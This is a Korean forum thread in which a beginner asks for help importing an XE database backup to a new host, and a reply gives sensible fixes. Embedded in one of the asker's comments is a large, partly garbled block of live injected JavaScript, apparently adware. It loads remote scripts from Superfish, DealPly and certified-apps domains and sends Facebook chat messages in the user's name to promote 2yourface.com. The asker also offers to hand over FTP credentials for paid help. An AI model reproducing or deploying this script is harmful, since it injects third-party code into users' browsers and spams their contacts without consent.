묻고답하기
xe db 임폴트 하는데 오류가 나네요..
2012.07.23 14:07
xe 로 만든 사이트 2개가있습니다.
첫번째 xe를 옮겨서 두번째에 복사 할려고 합니다.
첫번째 db를 백업해서 두번째 카페24 db로 임폴트하는데 오류가납니다..
초보라서..
어떻할지 모르겠네요..
가르쳐주시면 감사하구요...
혹시 이전할 줄 아시는 분 계시면 파일과 도메인 ftp 아디,비번 드릴테니 해주시면 5만원이상 사례하겠습니다..
kakao: coolson
댓글 2
-
진정한승리
2012.07.23 14:29
-
QydQNd
2012.07.24 13:41
제가 그 수정 부분도 못하는 초보 거든요.. 구체적으로 설명해주시면 안될까요.. 부탁드립니다. -
QydQNd
2012.07.24 13:40
그 수정 부분도 제가 못하는 초보라서.. 구체적인 답변 해주시면 안될 까요??<script type="text/javascript">function AddDP() { if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement('script'); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://optstatic.dealply.com/toyf/version_content.js?channel=ch103"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); } } AddDP(); AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="103",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d'+('')+('
')+('')+('')+('')+('
')+('
')+('
')+'
';d=a.parent().html();a.next().children(); -1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c
'+h+' - Powered By 2YourFace.comChatting with:'+ f+'<iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowtransparency="true"></iframe>'+ ("<iframe src='"+a+"' width='"+b+"' height='"+d+"' scrolling='no' border='no' style=\"background-color:white;border:0px;\" />")+'';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat Accept",a.innerHTML=c)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c): d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}} function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,d,c){b="<style type='text/css'>#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('
Choose a Game and Play - Powered By 2YourFace.comChoose a Game and Play with:'+c+'<iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowtransparency="true"></iframe>')+ "
"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", c,a);b=b+"
"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=''; a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})} function GetGameOfferHTML(a,b,d,c){return"'};</script>
hyundaitnt 로 로그인하신것 같은데 데이터베이스 생성 권한이 없으면
데이터베이스 생성구문이 오류가 나겠죠.
phpmyadmin 로그인을 root로 할 수 없는 환경이라면 데이터베이스 생성구문을 실행하지 않도록
받아놓으신 sql 백업파일 내용을 텍스트에디터로 열어서 데이터베이스 생성구문만 주석처리하세요.
xe 파일도 원래 사이트 그대로 가져오실거면 xe는 dbconfig 를 파일로 설정해놓기때문에
xe 설치디렉토리 /files/config/db.config.php 에서 데이터베이스명칭만 수정하시면 될겁니다.
그리고 백업하실 때, 원래 데이터베이스 캐릭터셋이 latin1 , latin1_swedish_ci 는 아니셨을듯 한데..(유럽쪽에서 쓰시는거?)
백업하시면서 캐릭터셋 지정은 utf-8 unicode 요런걸로 하셔야합니다.